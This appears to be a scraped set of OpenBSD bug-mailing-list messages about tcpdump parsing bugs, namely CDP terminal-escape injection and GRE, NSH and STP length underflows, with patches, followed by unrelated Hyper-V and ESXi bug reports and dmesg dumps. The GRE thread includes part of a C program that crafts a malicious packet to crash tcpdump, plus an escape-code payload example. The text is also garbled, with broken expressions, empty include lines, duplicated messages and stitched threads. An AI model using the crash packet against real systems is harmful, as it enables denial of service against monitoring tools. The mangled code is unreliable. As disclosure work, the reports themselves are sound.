> > printf(" %d/%d/%d", ancount, nscount, arcount);
> > - if (ancount--) {
> > + if (ancount-- > 0) {
> > if ((cp = ns_rprint(cp, bp, is_mdns)) == NULL)
> > goto trunc;
> > - while (cp < snapend && ancount--) {
> > + while (cp < snapend && ancount-- > 0) {
> > putchar(',');
> > if ((cp = ns_rprint(cp, bp, is_mdns)) == NULL)
> > goto trunc;
> > @@ -627,11 +627,11 @@ ns_print(const u_char *bp, u_int length,
> > goto trunc;
> > /* Print NS and AR sections on -vv */
> > if (vflag > 1) {
> > - if (cp < snapend && nscount--) {
> > + if (cp < snapend && nscount-- > 0) {
> > printf(" ns:");
> > if ((cp = ns_rprint(cp, bp, is_mdns)) == NULL)
> > goto trunc;
> > - while (cp < snapend && nscount--) {
> > + while (cp < snapend && nscount-- > 0) {
> > putchar(',');
> > if ((cp = ns_rprint(cp, bp, is_mdns))
> > == NULL)
> > goto trunc;
> > @@ -639,11 +639,11 @@ ns_print(const u_char *bp, u_int length,
> > }
> > if (nscount > 0)
> > goto trunc;
> > - if (cp < snapend && arcount--) {
> > + if (cp < snapend && arcount-- > 0) {
> > printf(" ar:");
> > if ((cp = ns_rprint(cp, bp, is_mdns)) == NULL)
> > goto trunc;
> > - while (cp < snapend && arcount--) {
> > + while (cp < snapend && arcount-- > 0) {
> >
Re: tcpdump/print-cdp.c
On Sat, Feb 25, 2023 at 09:28:13AM -0300, Crystal Kolipe wrote: > On Sat, Feb 25, 2023 at 11:55:50AM +0100, Peter J. Philipp wrote: > > I have found this function in tcpdump/util.c called fn_printn() that escapes > > text. > > Why would we want to use this function instead of just passing the string > directly to vis? The transformation it performs is not even uniquely > invertible. OK let me backtrack then. If we can't modify fn_printn() to use vis() then perhaps we should still write something for tcpdump/util.c and let other files (like tcpdump/print-pfsync.c) use it too. It makes sense to me, because there might be others like this print thing. I counted the print-*.c files and they were at 70 for 7.2, which I have just scraped the surface of this iceberg (I maybe examined 25 print-*.c's). If you prefer to do it that way too I'll look at writing a function for both print-pfsync.c and print-cdp.c. Otherwise what would you suggest? One more thing I want to mention. It's a feature request... It would be cool to have some sort of whitelist to what print-*.c's (*_print()) should be executed, which goes beyond the pcap filtering. Sort of a pledge for tcpdump protocols, in some sense. This would be so that some protocols deep down can't be executed which we don't want. The GRE underflow I detected wouldn't have been hit if it was possible to limit what protocols get executed. Ie. disallowing NSH, then it would have never segfaulted. Best Regards, -peter
Re: tcpdump/print-cdp.c
On Thu, Feb 23, 2023 at 11:00:12AM -0700, Theo de Raadt wrote:
> It should use vis(3), similar to this:
>
> print-pfsync.c: cp = vis(cp, clr->ifname[i], VIS_WHITE, 0);
[ see bottom of quoted message or search down to PJP ]
> p...@delphinusdns.org wrote:
>
> > >Synopsis: tcpdump/print-cdp.c allows escape codes to be sent to terminal
> > >Category: system
> > >Environment:
> > System : OpenBSD 7.2
> > Details : OpenBSD 7.2 (GENERIC.MP) #2: Thu Nov 24 23:53:03 MST 2022
> >
> > r...@syspatch-72-arm64.openbsd.org:/usr/src/sys/arch/arm64/compile/GENERIC.MP
> >
> > Architecture: OpenBSD.arm64
> > Machine : arm64
> > >Description:
> > While trying to disturb tcpdump for the last few days (see earlier posts
> > to bugs@), I came across tcpdump's CDP protocol. I was able to change the
> > terminal colour of my tcpdump with a specially crafted packet (see earlier
> > posts too). CDP does no filtering of what gets send and outputs everything
> > from the
> > wire like so:
> >
> > 84 switch(type) {
> > 85 case 0x01:
> > 86 printf(" DevID '%.*s'", len - 4, p + i + 4);
> > 87 break;
> >
> > >How-To-Repeat:
> > code-reading.
> > >Fix:
> > for (x = 0; x < len - 4; x++) {
> > printf("%c", isprint(*(p + i + x + 4)) ? *(p + i + x + 4) :
> > '.');
> > }
> >
> > or something like that, I think we have ctypes for tcpdump. Also
> > the way IP addresses are printed in this is sorta disgusting. There
> > is functions for that.
> >
> >
> > dmesg:
PJP
I have found this function in tcpdump/util.c called fn_printn() that escapes
text. Here is how it looks like in my tcpdump:
root@echo# obj/tcpdump -v -n -i bse0 -s 1500 proto gre
tcpdump: listening on bse0, link-type EN10MB
11:48:31.478796 192.168.177.13 > 255.255.255.255: gre [R] 2000 off 0x0
(rtaf=0x0) CDP v0, ttl=0s 01/14 DevID 'P^[[32mPP' 5050/5050[|cdp] (ttl
255, id 0, len 20)
Then someone else can modify fn_printn() with vis() (I don't think I'm good
with that).
Patch follows for tcpdump/print-cdp.c to start closing this terminal nuisance.
Best Regards,
-peter
Index: print-cdp.c
===
RCS file: /cvs/src/usr.sbin/tcpdump/print-cdp.c,v
retrieving revision 1.8
diff -u -p -u -r1.8 print-cdp.c
--- print-cdp.c 11 Sep 2019 15:20:30 - 1.8
+++ print-cdp.c 25 Feb 2023 10:53:46 -
@@ -83,7 +83,10 @@ cdp_print(const u_char *p, u_int length,
/*
http://www.cisco.com/c/en/us/support/docs/switches/catalyst-4500-series-switches/13414-103.html#cdp
*/
switch(type) {
case 0x01:
- printf(" DevID '%.*s'", len - 4, p + i + 4);
+ printf(" DevID '");
+ if (fn_printn(p + i + 4, len - 4, snapend) == 1)
+ goto error;
+ printf("'");
break;
case 0x02:
printf(" Addr");
@@ -91,7 +94,10 @@ cdp_print(const u_char *p, u_int length,
goto error;
break;
case 0x03:
- printf(" PortID '%.*s'", len - 4, p + i + 4);
+ printf(" PortID '");
+ if (fn_printn(p + i + 4, len - 4, snapend) == 1)
+ goto error;
+ printf("'");
break;
case 0x04:
if (len < 8)
@@ -99,19 +105,28 @@ cdp_print(const u_char *p, u_int length,
printf(" CAP 0x%02x", (unsigned) p[i+7]);
break;
case 0x05:
- if (vflag)
- printf(" Version %.*s", len-4, p+i+4 );
- else
+ if (vflag) {
+ printf(" Version '");
+ if (fn_printn(p + i + 4, len - 4, snapend) == 1)
+ goto error;
+ printf("'");
+ } else
printf(" Version (suppressed)" );
break;
case 0x06:
- printf(" Platform '%.*s'", len-4, p+i+4 );
+ printf(" Platform '");
+ if (fn_printn(p + i + 4, len - 4, snapend) == 1)
+ goto error;
+ printf("'");
break;
case 0x07:
cdp_print_prefixes(p+i+4, len-4);
break;
case 0x09:
- printf(" VTP-Management-Domain '%.*s'", len-4, p+i+4 );
+ printf("
Re: tcpdump/print-cdp.c
On Thu, Feb 23, 2023 at 11:00:12AM -0700, Theo de Raadt wrote:
> It should use vis(3), similar to this:
>
> print-pfsync.c: cp = vis(cp, clr->ifname[i], VIS_WHITE, 0);
Looking at print-pfsync.c since you mentioned it... I think this function
pfsync_print_clr() can be changed to fit CDP (and quite easily). I have a
nit though on this function itself:
218 printf("\n\tcreatorid: %08x", htonl(clr->creatorid));
219 if (clr->ifname[0] != '\0') {
220 /* Treat clr->ifname as untrusted input. */
221 for (i = 0; i < IFNAMSIZ && clr->ifname[i] != '\0'; i++)
222 cp = vis(cp, clr->ifname[i], VIS_WHITE, 0);
Shouldn't it be ntohl() instead of htonl()? I know one could use these
interchangibly once but that may not be the case on all architectures (?).
Best Regards,
-peter
> p...@delphinusdns.org wrote:
>
> > >Synopsis: tcpdump/print-cdp.c allows escape codes to be sent to terminal
> > >Category: system
> > >Environment:
> > System : OpenBSD 7.2
> > Details : OpenBSD 7.2 (GENERIC.MP) #2: Thu Nov 24 23:53:03 MST 2022
> >
> > r...@syspatch-72-arm64.openbsd.org:/usr/src/sys/arch/arm64/compile/GENERIC.MP
> >
> > Architecture: OpenBSD.arm64
> > Machine : arm64
> > >Description:
> > While trying to disturb tcpdump for the last few days (see earlier posts
> > to bugs@), I came across tcpdump's CDP protocol. I was able to change the
> > terminal colour of my tcpdump with a specially crafted packet (see earlier
> > posts too). CDP does no filtering of what gets send and outputs everything
> > from the
> > wire like so:
> >
> > 84 switch(type) {
> > 85 case 0x01:
> > 86 printf(" DevID '%.*s'", len - 4, p + i + 4);
> > 87 break;
> >
> > >How-To-Repeat:
> > code-reading.
> > >Fix:
> > for (x = 0; x < len - 4; x++) {
> > printf("%c", isprint(*(p + i + x + 4)) ? *(p + i + x + 4) :
> > '.');
> > }
> >
> > or something like that, I think we have ctypes for tcpdump. Also
> > the way IP addresses are printed in this is sorta disgusting. There
> > is functions for that.
Re: possible underflow in tcpdump/print-gre.c
On Mon, Feb 20, 2023 at 02:39:45PM +0100, p...@delphinusdns.org wrote:
> >Synopsis:possible underflow in tcpdump/print-gre.c
> >Category:user
> >Environment:
> System : OpenBSD 7.2
> Details : OpenBSD 7.2 (GENERIC.MP) #2: Thu Nov 24 23:53:03 MST 2022
>
> r...@syspatch-72-arm64.openbsd.org:/usr/src/sys/arch/arm64/compile/GENERIC.MP
>
> Architecture: OpenBSD.arm64
> Machine : arm64
> >Description:
> In tcpdump/print-ether.c length is initialized as h->len (struct
> pcap_pkthdr).
> snapend is based on p + h->caplen (struct pcap_pkthdr), which is based
> on
> snaplen.
>
> In tcpdump/print-gre.c u_int l is derived from snapend - p (line 123)
> and great care is taken that l does not underflow to the u_int maximum.
> However length is not checked for underflow and it is possibly
> initiallysmaller than snapend - p (snaplen). It is then passed to
> other
> functions under line number 234.
>
> >How-To-Repeat:
> never tested in practice, code-reading only.
> >Fix:
> length should be checked for underflow. To do this save length at
> start of function and then test this whether length increased since it
> is u_int it will underflow into the high 2 billion region.
OK, I turned this around into practice. It's not possible with most protocols
but with GRE and NSH it is possible to segfault tcpdump if the -v options is
used (often much so the case, at least for me). Here is a paste from my
tcpdump:
root@echo#
and not port 587 and not port 853 <
tcpdump: listening on bse0, link-type EN10MB
10:20:29.998203 01:01:01:01:01:01 ff:ff:ff:ff:ff:ff 0800 290: 192.168.177.13 >
255.255.255.255: gre [R] 984f off 0x0 (rtaf=0x0) NSH spi 0 si 0 md-type-reserved
nsh-unknown-proto-0x00
Segmentation fault
root@echo# history | tail -2
713 tcpdump -e -v -n -X -s 1000 -i bse0 not port 1022 and not port 465 and
not port 443 and ip and not port 6697 and not port 25 and not port 80 and not
port 8053 and not port 995 and not port 53 and not port 123 and not port 587
and not port 853
I constructed the bad malicious packet with a spoofer that I wrote 22 years
ago. How you spoof this packet is to me irrelevant, I can share the spoofer
only to @openbsd.org addressees (I may have shared it before).
Here is the program that makes the payload:
/*
cc -g -o payload payload.c, ./payload > payload.data
./cb -l em0 -R payload.data -v
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
/*
* IP_CKSUM - compute the ones complement sum of the ones complement of 16 bit
*numbers
*/
int
ip_cksum(u_int16_t *p, int len)
{
register int nleft = len;
register u_int16_t *w = p;
register int sum = 0;
u_int16_t answer = 0;
while (nleft > 1) {
sum += *w++;
nleft -= 2;
}
if (nleft == 1) {
*(u_char *)() = *(u_char *)w;
sum += answer;
}
sum = (sum >> 16) + (sum & 0x);
sum += (sum >> 16);
answer = ~sum;
return (answer);
}
#define SIZERED 0xe8
int
main(void)
{
char packet[1024];
struct ether_header *eth;
struct ip *ip, *ip2;
struct gre_h {
uint16_t flags;
uint16_t proto;
uint16_t sum;
uint16_t offset;
uint16_t af;
uint8_t sreoff;
uint8_t srelen;
char longp[SIZERED];
uint16_t af2;
uint8_t pad1;
uint8_t pad2;
} *gre;
struct nsh_h {
uint32_t base;
uint32_t sp;
} *nsh;
memset(, 0, sizeof(packet));
char *p = [0];
eth = (struct ether_header *)p;
memset(p, 0xff, 6);
memset(>ether_shost[0], 0x1, 6);
eth->ether_type = htons(ETHERTYPE_IP);
p += sizeof(struct ether_header);
ip = (struct ip *)p;
ip->ip_hl = 5;
ip->ip_v = 4;
ip->ip_len = htons(sizeof(struct ip));
ip->ip_ttl = 0xff;
ip->ip_p = IPPROTO_GRE;
ip->ip_sum = 0;
ip->ip_dst.s_addr = inet_addr("255.255.255.255");
ip->ip_src.s_addr = inet_addr("192.168.177.13");
p += sizeof(struct ip);
gre = (struct gre_h *)p;
gre->flags = htons(0x4000);
gre->proto = htons(ETHERTYPE_NSH);
gre->sum = 0;
gre->offset = 0;
gre->af = 0;
gre->sreoff = 0;
gre->srelen = SIZERED;
gre->af2 = 0;
gre->pad1 = 0;
gre->pad2 = 0;
p += sizeof(struct gre_h);
nsh = (struct nsh_h *)p;
p += sizeof(struct
Re: possible underflow in tcpdump/print-gre.c
On Mon, Feb 20, 2023 at 04:39:57PM +0100, Peter J. Philipp wrote:
> I checked for files with the copyright by jason and found another underflow,
> in another file. It seems that this is an idiom of his. This seems
> non-exploitable, but it allows one to underflow the length of a STP frame to
> REALLY big.
>
> from tcpdump/print-stp.c:
>
> ->
> if (len < 3)
> goto truncated;
> if (p[0] == LLCSAP_8021D && p[1] == LLCSAP_8021D && p[2] == LLC_UI)
> printf("802.1d");
> else if (p[0] == LLCSAP_SNAP && p[1] == LLCSAP_SNAP && p[2] ==
> LLC_UI) {
> proto = STP_PROTO_SSTP;
> printf("SSTP");
> p += 5;
> len -= 5;
> <-
>
> Here len is checked to fit in 3 bytes, but then len is decremented by 5 bytes
> which could cause an underflow and len is now really large and p is beyond the
> frame.
>
> Best Regards,
> -peter
Possible fix is as follows. (I don't know if there is such a thing already)
But systematically in tcpdump decreasing len is done a lot so perhaps it's wise
to safen it. Ie.
root@echo# grep -- '-=' * | grep len | wc -l
243
I have made a test program with a new function called "nowrap_dec()" which if
all instances of var -= val, are changed to var = nowrap_dec(var, val); it will
leave len at 0 and not wrap it, hopefully to be caught at a later time when
testing for length value of var.
#include
#include
#include
u_int
nowrap_dec(u_int val, u_int dec)
{
u_int ret = val;
ret -= dec;
if (ret > val)
return 0;
else
return (ret);
}
int
main(void)
{
u_int len = 3, len2 = 3;
len -= 5;
printf("%u\n", len);
len2 = nowrap_dec(len2, 5);
printf("%u\n", len2);
exit(0);
}
1845/echo$ ./testprog
4294967294
0
This could do a lot to safen tcpdump.
Best Regards,
-peter
Re: possible underflow in tcpdump/print-gre.c
I checked for files with the copyright by jason and found another underflow,
in another file. It seems that this is an idiom of his. This seems
non-exploitable, but it allows one to underflow the length of a STP frame to
REALLY big.
from tcpdump/print-stp.c:
->
if (len < 3)
goto truncated;
if (p[0] == LLCSAP_8021D && p[1] == LLCSAP_8021D && p[2] == LLC_UI)
printf("802.1d");
else if (p[0] == LLCSAP_SNAP && p[1] == LLCSAP_SNAP && p[2] == LLC_UI) {
proto = STP_PROTO_SSTP;
printf("SSTP");
p += 5;
len -= 5;
<-
Here len is checked to fit in 3 bytes, but then len is decremented by 5 bytes
which could cause an underflow and len is now really large and p is beyond the
frame.
Best Regards,
-peter
Re: Fwd: hvn0 inet6 duplicate storm
Inline below:
On 11/14/22 15:36, Peter J. Philipp wrote:
On 11/14/22 15:16, Klemens Nanni wrote:
On Sun, Nov 13, 2022 at 12:46:26PM +0100, Peter J. Philipp wrote:
appended are the screenshots of the Hyper-v, bug report follows in the
forwarded message. Please treat this as low priority, I can do work
with
IPv4 on this. Also one thing I forgot to mention was that I had 2
hyper-v's
running at the time, running OpenBSD.
"2 hyper-v's" means... two virtualisation hosts?
... two OpenBSD guests in how many hosts?
Two OpenBSD guests on the Windows Server 2019 host, running side by
side in active state.
Best Regards,
-peter
Forwarded Message
Subject: hvn0 inet6 duplicate storm
Date: Sun, 13 Nov 2022 13:30:48 +0100 (CET)
From: p...@delphinusdns.org
Reply-To: p...@delphinusdns.org
To: p...@delphinusdns.org
Synopsis: 7.2 and -current create an autoconf6 storm on hvn0
Category: amd64
Environment:
System : OpenBSD 7.2
Details : OpenBSD 7.2 (GENERIC.MP) #758: Tue Sep 27 11:57:54 MDT 2022
dera...@amd64.openbsd.org:/usr/src/sys/arch/amd64/compile/GENERIC.MP
Did you also run 7.1?
Is it a regression in 7.2?
At one point there was one 7.1 Host running alongside the 7.2
instance, I wiped that after backing it up and wrote -current on it
for the second test.
Architecture: OpenBSD.amd64
Machine : amd64
Description:
On a Hyper-V vm in the installer I get the message:
hvn0: DAD detected duplicate IPv6 address {IPV6 address}: NS
in/out=1/1, NA
in=0
hvn0: DAD complete for {IPV6 address} - duplicate found
hvn0: manual intervention required
This is flooded over and over.
The screenshots included in this mail will show the full IPV6 address.
Which instance is this?
It happens on 7.2 and -current.
In the first instance I was on another vlan segment from my router so
it interfered right in the installer which I did a control-z for and
stopped the duplicated address storm on hvn0 by ifconfig hvn0 -inet6
The second -current instance I am in the 192.168.177 network which had
a misconfig in the router's /etc/rad.conf with an old re1 interface
which I changed on cnmac1 and then the hvn duplicated address storm
commenced. I noticed on this instance because the router was miscon-
figured that it also found a duplicate on the fe80:: address which was
weird.
Sorry, I don't follow what was/is previously/now (mis)configured in your
setup.
This report reads very confusing, I can't help you until you
1. made sure that there is no obvious misconfiguration on your side
2. provide a **clear** picture of the running setup/configuration
OK let's sleep on it for a few days and I'll try again, and hopefully
can organise my thoughts around this problem better/hurry less.
Thanks for giving it half a look Klemens.
Hi,
I did not forget about you, but I was busy that week and it's almost a
month later. However I have good news. It's not OpenBSD, it's
Windows. In particular I just installed a snapshot on the Hyper-V on my
Windows 10 host (hyper-v version 10.0.19041.1 which is newer) and
everything went perfect! On the Windows Server 2019 that I had
installed this on previously (hyper-v version 10.0.17763.1 which is
older) the problem persists.
I'm gonna cut to the chase, Microsoft needs to upgrade Hyper-V on
Windows Server 2019 in order to run OpenBSD 7.2-current nicely. The
Hyper-V on Windows 10 Pro is fine and everything works as expected.
Best Regards and Merry Season OpenBSD!
-peter
Best Regards,
-peter
I have included the dmesg of the first instance, (not the -current).
How-To-Repeat:
A generation 1 Hyper-V amd64 instance, openbsd upstream router.
Fix:
none provided.
dmesg:
OpenBSD 7.2 (GENERIC.MP) #758: Tue Sep 27 11:57:54 MDT 2022
dera...@amd64.openbsd.org:/usr/src/sys/arch/amd64/compile/GENERIC.MP
real mem = 4278124544 (4079MB)
avail mem = 4131074048 (3939MB)
random: good seed from bootblocks
mpath0 at root
scsibus0 at mpath0: 256 targets
mainbus0 at root
bios0 at mainbus0: SMBIOS rev. 2.3 @ 0xf93c0 (338 entries)
bios0: vendor American Megatrends Inc. version "090007" date 05/18/2018
bios0: Microsoft Corporation Virtual Machine
acpi0 at bios0: ACPI 2.0
acpi0: sleep states S0 S5
acpi0: tables DSDT FACP WAET SLIC OEM0 SRAT APIC OEMB
acpi0: wakeup devices
acpitimer0 at acpi0: 3579545 Hz, 32 bits
acpihve0 at acpi0
acpimadt0 at acpi0 addr 0xfee0: PC-AT compat
cpu0 at mainbus0: apid 0 (boot processor)
cpu0: Intel(R) Xeon(R) CPU E3-1275 v3 @ 3.50GHz, 3498.02 MHz, 06-3c-03
cpu0:
FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,PAT,PSE36,CFLUSH,MMX,FXSR,SSE,SSE2,SS,HTT,SSE3,PCLMUL,SSSE3,FMA3,CX16,PCID,SSE4.1,SSE4.2,MOVBE,POPCNT,AES,XSAVE,AVX,F16C,RDRAND,HV,NXE,PAGE1GB,RDTSCP,LONG,LAHF,ABM,FSGSBASE,BMI1,AVX2,SMEP,BMI2,ERMS,INVPCID,MD_CLEAR,IBRS,IBPB,STIBP,L1DF,SSBD,XSAVEOPT,MELTDOWN
cpu0: 32KB 64b/line 8-way D-cache, 32KB 64b/line 8-way I-cache, 256KB
64b/line 8-way L2 cache, 8MB 64b/line 16-way
Re: Fwd: hvn0 inet6 duplicate storm
On 11/14/22 15:16, Klemens Nanni wrote:
On Sun, Nov 13, 2022 at 12:46:26PM +0100, Peter J. Philipp wrote:
appended are the screenshots of the Hyper-v, bug report follows in the
forwarded message. Please treat this as low priority, I can do work with
IPv4 on this. Also one thing I forgot to mention was that I had 2 hyper-v's
running at the time, running OpenBSD.
"2 hyper-v's" means... two virtualisation hosts?
... two OpenBSD guests in how many hosts?
Two OpenBSD guests on the Windows Server 2019 host, running side by side
in active state.
Best Regards,
-peter
Forwarded Message
Subject:hvn0 inet6 duplicate storm
Date: Sun, 13 Nov 2022 13:30:48 +0100 (CET)
From: p...@delphinusdns.org
Reply-To: p...@delphinusdns.org
To: p...@delphinusdns.org
Synopsis: 7.2 and -current create an autoconf6 storm on hvn0
Category: amd64
Environment:
System : OpenBSD 7.2
Details : OpenBSD 7.2 (GENERIC.MP) #758: Tue Sep 27 11:57:54 MDT 2022
dera...@amd64.openbsd.org:/usr/src/sys/arch/amd64/compile/GENERIC.MP
Did you also run 7.1?
Is it a regression in 7.2?
At one point there was one 7.1 Host running alongside the 7.2 instance,
I wiped that after backing it up and wrote -current on it for the second
test.
Architecture: OpenBSD.amd64
Machine : amd64
Description:
On a Hyper-V vm in the installer I get the message:
hvn0: DAD detected duplicate IPv6 address {IPV6 address}: NS in/out=1/1, NA
in=0
hvn0: DAD complete for {IPV6 address} - duplicate found
hvn0: manual intervention required
This is flooded over and over.
The screenshots included in this mail will show the full IPV6 address.
Which instance is this?
It happens on 7.2 and -current.
In the first instance I was on another vlan segment from my router so
it interfered right in the installer which I did a control-z for and
stopped the duplicated address storm on hvn0 by ifconfig hvn0 -inet6
The second -current instance I am in the 192.168.177 network which had
a misconfig in the router's /etc/rad.conf with an old re1 interface
which I changed on cnmac1 and then the hvn duplicated address storm
commenced. I noticed on this instance because the router was miscon-
figured that it also found a duplicate on the fe80:: address which was
weird.
Sorry, I don't follow what was/is previously/now (mis)configured in your
setup.
This report reads very confusing, I can't help you until you
1. made sure that there is no obvious misconfiguration on your side
2. provide a **clear** picture of the running setup/configuration
OK let's sleep on it for a few days and I'll try again, and hopefully
can organise my thoughts around this problem better/hurry less. Thanks
for giving it half a look Klemens.
Best Regards,
-peter
I have included the dmesg of the first instance, (not the -current).
How-To-Repeat:
A generation 1 Hyper-V amd64 instance, openbsd upstream router.
Fix:
none provided.
dmesg:
OpenBSD 7.2 (GENERIC.MP) #758: Tue Sep 27 11:57:54 MDT 2022
dera...@amd64.openbsd.org:/usr/src/sys/arch/amd64/compile/GENERIC.MP
real mem = 4278124544 (4079MB)
avail mem = 4131074048 (3939MB)
random: good seed from bootblocks
mpath0 at root
scsibus0 at mpath0: 256 targets
mainbus0 at root
bios0 at mainbus0: SMBIOS rev. 2.3 @ 0xf93c0 (338 entries)
bios0: vendor American Megatrends Inc. version "090007" date 05/18/2018
bios0: Microsoft Corporation Virtual Machine
acpi0 at bios0: ACPI 2.0
acpi0: sleep states S0 S5
acpi0: tables DSDT FACP WAET SLIC OEM0 SRAT APIC OEMB
acpi0: wakeup devices
acpitimer0 at acpi0: 3579545 Hz, 32 bits
acpihve0 at acpi0
acpimadt0 at acpi0 addr 0xfee0: PC-AT compat
cpu0 at mainbus0: apid 0 (boot processor)
cpu0: Intel(R) Xeon(R) CPU E3-1275 v3 @ 3.50GHz, 3498.02 MHz, 06-3c-03
cpu0:
FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,PAT,PSE36,CFLUSH,MMX,FXSR,SSE,SSE2,SS,HTT,SSE3,PCLMUL,SSSE3,FMA3,CX16,PCID,SSE4.1,SSE4.2,MOVBE,POPCNT,AES,XSAVE,AVX,F16C,RDRAND,HV,NXE,PAGE1GB,RDTSCP,LONG,LAHF,ABM,FSGSBASE,BMI1,AVX2,SMEP,BMI2,ERMS,INVPCID,MD_CLEAR,IBRS,IBPB,STIBP,L1DF,SSBD,XSAVEOPT,MELTDOWN
cpu0: 32KB 64b/line 8-way D-cache, 32KB 64b/line 8-way I-cache, 256KB
64b/line 8-way L2 cache, 8MB 64b/line 16-way L3 cache
cpu0: smt 0, core 0, package 0
mtrr: Pentium Pro MTRR support, 8 var ranges, 88 fixed ranges
cpu0: apic clock running at 200MHz
cpu1 at mainbus0: apid 1 (application processor)
cpu1: Intel(R) Xeon(R) CPU E3-1275 v3 @ 3.50GHz, 3498.01 MHz, 06-3c-03
cpu1:
FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,PAT,PSE36,CFLUSH,MMX,FXSR,SSE,SSE2,SS,HTT,SSE3,PCLMUL,SSSE3,FMA3,CX16,PCID,SSE4.1,SSE4.2,MOVBE,POPCNT,AES,XSAVE,AVX,F16C,RDRAND,HV,NXE,PAGE1GB,RDTSCP,LONG,LAHF,ABM,FSGSBASE,BMI1,AVX2,SMEP,BMI2,ERMS,INVPCID,MD_CLEAR,IBRS,IBPB,STIBP,L1DF,SSBD,XSAVEOPT,MELTDOWN
cpu1: 32KB 64b/line 8-way D-cache, 32KB 64b/line 8-way I-cache, 256KB
64b/line 8-way L2 cache, 8MB 64b/line 16-way L3 cache
cpu1: smt 0, core 1, package 0
cpu2 at mainbus0:
Re: 7.2: tsc timecounter running too fast on ESXi 7.5
On Wed, Oct 26, 2022 at 04:33:23AM -0500, Scott Cheloha wrote: > Thank you for testing, let's take a look. > [...] > I don't know how to explain this. Maybe another developer will read > this and spot something I'm missing. Or maybe this is a known issue > and I'm just not finding a reference to it online. > > The simplest workaround is to skip installing acpitimer_delay() with > delay_init() during acpitimerattach(). The attached patch does this. Can confirm that this works. > I don't know if this problem persists after boot. If it does, using > the acpitimer0 timecounter may yield strange results in the VM. I > recommend not using the acpitimer0 timecounter until the problem is > better understood. A calibrated TSC is going to be a better > timecounter anyway. > > There might be a second workaround. Kalabic mentions here in the > other thread about this problem: > > https://marc.info/?l=openbsd-bugs=14949825616=2 > > ... that changing the ESXi option "Guest OS Version" from "FreeBSD > (32-bit)" to "FreeBSD (64-bit)" seemed to fix the problem on his > version of ESXi. Does that work for you? I don't know what the other > consequences of that configuration change are, but it might be worth a > try if you prefer to run 7.2-RELEASE or 7.2-STABLE instead of patching > -current. I can also confirm that this works as a workaround on the stock 7.2 kernel. I also booted with the last kernel with debugging info with this workaround; dmesg for that is below. > Do you have VMware support? Is there any way for you to report this > problem to them? It's unlikely they explicitly support running an > OpenBSD guest, but it's plausible this issue could affect other > operating systems. I can't imagine OpenBSD is reading the ACPI PM > timer differently than Linux or FreeBSD. Unfortunately not, I only use the free vSphere ESXi. OpenBSD 7.2-current (GENERIC.MP) #1: Tue Oct 25 20:09:51 MST 2022 lipp...@chaos.int.discord.org:/usr/src/sys/arch/amd64/compile/GENERIC.MP real mem = 6424494080 (6126MB) avail mem = 6212374528 (5924MB) random: good seed from bootblocks mpath0 at root scsibus0 at mpath0: 256 targets mainbus0 at root bios0 at mainbus0: SMBIOS rev. 2.7 @ 0xe0010 (242 entries) bios0: vendor Phoenix Technologies LTD version "6.00" date 11/12/2020 bios0: VMware, Inc. VMware Virtual Platform acpi0 at bios0: ACPI 4.0 acpi0: sleep states S0 S1 S4 S5 acpi0: tables DSDT FACP BOOT APIC MCFG SRAT HPET WAET acpi0: wakeup devices PCI0(S3) USB_(S1) P2P0(S3) S1F0(S3) S2F0(S3) S8F0(S3) S16F(S3) S18F(S3) S22F(S3) S23F(S3) S24F(S3) S25F(S3) PE40(S3) S1F0(S3) PE50(S3) S1F0(S3) [...] acpitimer0 at acpi0: 3579545 Hz, 24 bits acpimadt0 at acpi0 addr 0xfee0: PC-AT compat cpu0 at mainbus0: apid 0 (boot processor) cpu0: Intel(R) Xeon(R) CPU D-1528 @ 1.90GHz, 1899.76 MHz, 06-56-03 cpu0: FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,PAT,PSE36,CFLUSH,MMX,FXSR,SSE,SSE2,SS,SSE3,PCLMUL,SSSE3,FMA3,CX16,PCID,SSE4.1,SSE4.2,x2APIC,MOVBE,POPCNT,DEADLINE,AES,XSAVE,AVX,F16C,RDRAND,HV,NXE,PAGE1GB,RDTSCP,LONG,LAHF,ABM,3DNOWP,PERF,ITSC,FSGSBASE,TSC_ADJUST,BMI1,AVX2,SMEP,BMI2,ERMS,INVPCID,RDSEED,ADX,SMAP,MD_CLEAR,IBRS,IBPB,STIBP,L1DF,SSBD,ARAT,XSAVEOPT,MELTDOWN cpu0: 32KB 64b/line 8-way D-cache, 32KB 64b/line 8-way I-cache, 256KB 64b/line 8-way L2 cache, 9MB 64b/line 12-way L3 cache measure_tsc_freq: indirect calibration with acpitimer0(1000), 3579545 Hz: count 14211444 14569397 tsc 38873326169 39063325035 usecs 9: 197660 Hz measure_tsc_freq: direct calibration with acpitimer0(1000), 3579545 Hz: cycles 357958 tsc 190001742: 188842 Hz measure_tsc_freq: indirect calibration with acpitimer0(1000), 3579545 Hz: count 14939119 15297049 tsc 39259571275 39449557759 usecs 3: 187839 Hz measure_tsc_freq: direct calibration with acpitimer0(1000), 3579545 Hz: cycles 357955 tsc 18897: 186316 Hz measure_tsc_freq: indirect calibration with acpitimer0(1000), 3579545 Hz: count 15666102 16024022 tsc 39645448713 39835430133 usecs 0: 194200 Hz measure_tsc_freq: direct calibration with acpitimer0(1000), 3579545 Hz: cycles 357954 tsc 18157: 184223 Hz cpu0: smt 0, core 0, package 0 mtrr: Pentium Pro MTRR support, 8 var ranges, 88 fixed ranges cpu0: apic clock running at 65MHz delay_init: changing delay implementation: 0 -> 3000 cpu1 at mainbus0: apid 2 (application processor) cpu1: Intel(R) Xeon(R) CPU D-1528 @ 1.90GHz, 1899.69 MHz, 06-56-03 cpu1: 